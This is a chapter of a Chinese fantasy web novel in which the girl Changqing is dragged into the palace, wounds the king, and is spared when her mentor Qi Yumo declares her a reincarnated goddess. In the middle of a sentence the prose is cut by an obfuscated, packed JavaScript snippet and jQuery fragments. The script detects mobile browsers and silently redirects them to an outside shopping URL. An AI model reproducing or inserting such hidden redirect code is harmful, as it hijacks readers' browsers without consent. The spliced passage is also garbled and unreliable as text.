59. 东城疯子(四)

作品:《因果往事

    尸体扭曲的身形爬向少爷和贵女,张开饥饿的大嘴,嘴里发出怪异的嘶吼。


    常青捂住流血的眼睛,重新绑好了头发。


    齐玉茉慌忙的处理掉那群饿死鬼,剑尖滑落粘稠的血,自己也负了伤。


    “啊啊啊!”少爷贵女尖叫着逃跑。


    齐玉茉托着疲惫的身躯,转头给了常青一巴掌。


    “……常青!!“


    这一巴掌没收力,血丝顺着常青的嘴角滑落,她脸上的恨意完全不是一个十五岁孩子该有的。


    “跟我走……”齐玉茉拉住常青没断的那只手,咬着牙回家了。


    常青听见了少爷管她叫国师,也看出了齐玉茉对她是有爱的,那她跟着齐玉茉离开也不用过现在的恶心生活了。


    她一点也没挣扎,跟着齐玉茉回了家。


    山林中,悲鬼碎银坐在自己的墓碑上,吃着桂花糕。


    她本相就是只黑山羊妖。


    难怪被称为“鬼”呢,正常妖精的婴灵位于胸口处,碎银不一样,她在腹部,肯定不会因为她不是妖精而是朊鬼,不然其他朊鬼怎么就是正常模样?当然,如果只是位置不同也没什么特别的,她独特在腹部有一个贯穿身体的洞,滚圆的婴灵漂浮在正中间,只有几根绳子拴着,就像是一个人心脏周围的骨肉全部消失,却还能看见心脏猛烈的跳动。


    “小鸢!!!”碎金扑向碎银,装作不小心,拍掉了桂花糕。


    “……热”碎银伸手扯着碎金,很容易就扯掉了,就像是对方根本不想抱她一样。


    莫夏从树林中走出来,不得不说,北冥鱼长的真和莫夏的本相很像。


    莫夏摘掉头顶的树叶,怼了怼碎银:“你不去看看常青?她真挺想你的”


    “她又没死,早晚会见的”


    伤口包扎好,常青缩在角落里,透过头顶的窗户看着外面蓝蓝的天空发呆。


    “把饭吃了,看你瘦的”齐玉茉推门进来,递给常青一碗粥。


    常青看着齐玉茉,没接。


    “哎呦你个小屁孩防备心怎么这么重啊?我还防着?我是你师姑,还能害你不成!”


    常青接过了赶上自己脸大的碗,小口小口喝着。


    “以后你就跟着我了,听见没!”齐玉茉手叉着腰,摆出长辈的架势恐吓常青。


    常青懒得理她。


    齐玉茉长长叹了一口气:“……你长得惹眼,在我这儿也不能完全保证不会被大王带去,你要随时做好准备”


    “为什么”常青鼓着腮帮子问道。


    “?你说为什么会被抓去吗?”齐玉茉扫视了一圈,蹲下身低声说,“诶,当今大王信鬼神之说,又崇拜梧桐娘,非说自己做梦梦见梧桐娘和他说唯有九天玄女的转世才配得上他,就在民间大肆抓捕女人,只有少数能回去,剩下的……,你好好想想吧,如果你真被抓去了,我会给你择个好身份,没人会欺负你了”


    常青重新低下头喝粥。


    齐玉茉站起身,拍了拍裙子上的灰向门口走去:“你学的那些歪门邪道,弃了吧”


    一个小纸人跟上齐玉茉,跳上她的裙摆融了进去。


    常青继续若无其事的吃饭。


    没过多久,常青就被齐玉茉养的白白胖胖的,看着就健康,在一打扮就更艳丽了。


    她长了一张祸国殃民的脸。


    蓝发带随傍晚的微风飘动,她一身青衣四仰八叉的坐在自己屋门口,摆弄着怀里的黑山羊帕子。


    “你小姑娘家家的!能不能有点坐像!”齐玉茉站在树上冲着常青大喊。


    常青轻轻“哼”了一声,又吐了吐舌头。


    “哐哐哐!”


    门外传来脚步声,一队士兵进来,冲着常青去了。


    “!回去”齐玉茉跳下树冲着常青大声呵斥,可还是晚了一步。


    “放开我!!”常青就算练过,击退了前面两个士兵也是没有用的挣扎,那么多人押着她就要走。


    齐玉茉拦下最前面的士兵:“放肆!这里是国师府!谁允许你们擅闯的!”


    “齐国师”一位白发苍苍的老头拄着拐,拿出了天子令牌,“这是大王的意思。老夫算到这里有位神女,您还是想想将她藏起来的事该如何同陛下解释吧,哈哈哈”


    齐玉茉还没大胆到抗旨,咬着牙让开了一条路。


    “放开我!!给我吃了他们!!”常青喊了半天也没有一只尸体赶过来,抬眼看见了齐玉茉贴在天花板上的一堆驱鬼符。


    “……贱货”常青咬牙切齿的咒骂着。


    常青就这么被粗暴的拐进了宫里,屁股还没坐热乎呢,就听说大王今天来侍寝。


    不知怎么的,碎银几人进不去常青所呆的屋子,只能透过门缝去观察。


    门外一众奴才跪着。


    常青猩红着眼在屋里又摔又砸,搞的鸡犬不宁。


    “他妈的这里怎么也有驱鬼符啊啊啊!”


    “放我出去!!人呢!!”


    桌子,书本,板凳摞在一起,常青站在最高处去揭房梁上的驱鬼符,她身手不凡,双臂吊着,顺房梁爬了上去,用针扎破中指指尖改符。


    常青气的不行,字句全是从牙缝中挤出来的:“……齐玉茉,你那几招可是用上了”


    “娘娘……”外面的丫鬟听着声音小了,打着颤探头,“娘娘,该沐浴了”


    “滚!!!”常青一根银针刺向丫鬟,暴怒!!


    “娘娘饶命!娘娘您快下来吧,陛下快来了……”


    常青埋头改着符,越改越急眼对着门口的丫鬟命令道:“……你去叫几个力气大的,把这根横梁给我拆了!!!”


    那房梁上贴满了驱鬼符。


    “娘娘,娘娘这不可啊……”丫鬟跪在地上不住的磕头。


    常青的指尖快被扎烂的时候,忽的瞟见一张纸飞过来,还不等常青去捡,就听见外面十分响亮的喊声:


    “大王驾到——”


    “爱妃……好身手”大王打了个哈哈,面露惊讶的看着坐在房梁上的常青。


    大王挺年轻长的也不错,但常青此刻正毫无顾忌的袒露自己的恨意,心里不断告诉她:就是他搞的什么狗屁命令才害死银芝的。


    大王看着常青狼一般的眼神,丝毫不惧:“爱妃今年多大……啊!!”


    常青控制着花瓶,精准的砸在了大王的太阳穴上,流出大片鲜血。


    比花瓶先来的是常青身上的桂花香。


    正常来说这属于是致命伤了。


    “来人啊!!”


    “别……别伤我爱妃”


    给打爽了。


    常青跪在大殿之上,愤怒的瞪着绷带缠满脑袋的大王,想着这狗命怎么这么大。


    常青再一转头,看见齐玉茉被押了上来,那个拄拐老头还在得意洋洋的笑着。


    “……爱妃为何突然动手”大王扶着额,看着常青姣好的脸有些不舍得让她死。


    常青握紧拳头,本想唤起死尸血洗皇宫,结果突然被齐玉茉打


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718306|172131||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一巴掌,很响,也很疼。


    这一巴掌顺带封了常青的能力一会儿。


    不等常青做出什么举动,齐玉茉又立刻跪在地上,额头贴着冰冷的地面。


    “大王!今日之事是臣的教导有误,臣自愿被贬为庶人,流放至蛮夷之地!还请大王留臣徒弟一条生路!”


    六位国师中,齐玉茉的威望最高,她是常道长的弟子,大王又信仰常道长那一门派(梧桐娘),也会将齐玉茉的无理要求作为参考,况且这大王知晓了常青现在被安上了个九天玄女的身份,也相中了常青的模样。


    “大王”拄拐老头拱手行礼,“常答应蓄意损害圣体,又习得妖术,而齐国师又将这枚祸害藏于自己宫中,是何居心?”


    “哼”齐玉茉冷笑一声,看着老头得意的嘴脸,义正言辞道,“老头,你怕不是老糊涂了,需要我再教教你通灵术吗”


    “你!大王,齐国师骄纵蛮横!在大殿之上还敢如此猖狂!必定是……”


    “我乃常道长亲传弟子,常道长的本事无人不知无人不晓,亲手镇压悲喜两大邪神,又得神仙赏识赐姓常,作为他老人家亲自下场挑选的徒弟,三岁开天眼,九岁便能轻而易举驱除鬼怪邪祟,十五岁更是仅靠天象预知国家未来从而击退匈奴。我的本事,除了师傅与那位莫仙师,还有人吗?”


    老头哑然,指着齐玉茉重重敲了几下拐。


    “……罢了罢了,朕哪天不受点伤”大王摆摆手,想要草草了事。


    “大王!万万不可啊!这常御妻的居心不良,您莫要被她迷惑了啊!这齐国师将这妖女藏着,同样是没安好心啊!”难为老头一把年纪还有跪在磕头。


    “那您这么快就为我定罪,是觉得大王糊涂了吗?”齐玉茉眼神犀利,瞥了老头一眼接着瞎说,“臣的确将常青藏在府里,是因为微臣算到她是九天玄女转世,但陛下乃真龙天子,选妃之事不得马虎,便将常青安排在府中,待验完身份……择个吉日良时入宫。老头,你可真是不把陛下当回事儿啊”


    听见常青是九天玄女转世,大王眼睛顿时亮了起来,激动的站起身:“齐国师所言当真?!”


    “臣不敢欺君”


    这下这位心大的大王直接不计较常青攻击他的事了,只觉得自己的福气来了,姻缘也来了,觉得自己定将开辟一代盛世。


    大王拍着手,爽朗的笑声传来:“哈哈哈!好!说的好!”


    常青低头掩饰自己快吐了的表情,她是个什么命,她还不知道吗?


    她又回到了和过去一样的顺利命。


    碎金和莫夏躲在室外的屋顶上,碎金张开耳羽,吃着蜜饯。


    他又在捣乱,叨扰人间,改了这段因果原本的样貌。


    常青只被禁足了一个月却赐了“雒”的称号。


    齐玉茉偷偷溜进常青的寝宫,按住暴怒的常青:“你冷静一下……你真不觉得蒋裕昌死的蹊跷吗”


    常青停了动作,狐疑的盯着齐玉茉。


    “他的本事不比我差,怎么可能死的那么安详?他怕死,而且我算过他的命……被改了”


    “你想说什么”


    “……你不想报仇吗”齐玉茉定定看着常青,松了手,“你身上,又很强的妖气,你身边有一个妖精呆了很久”


    常青嗤笑一声,“没什么,小时候无聊,捡来的……早都过去了”


    就此,常青走上了这条不归路。


    只要是能让常青达到目的的,无论是妖妃还是艳后,她都当得。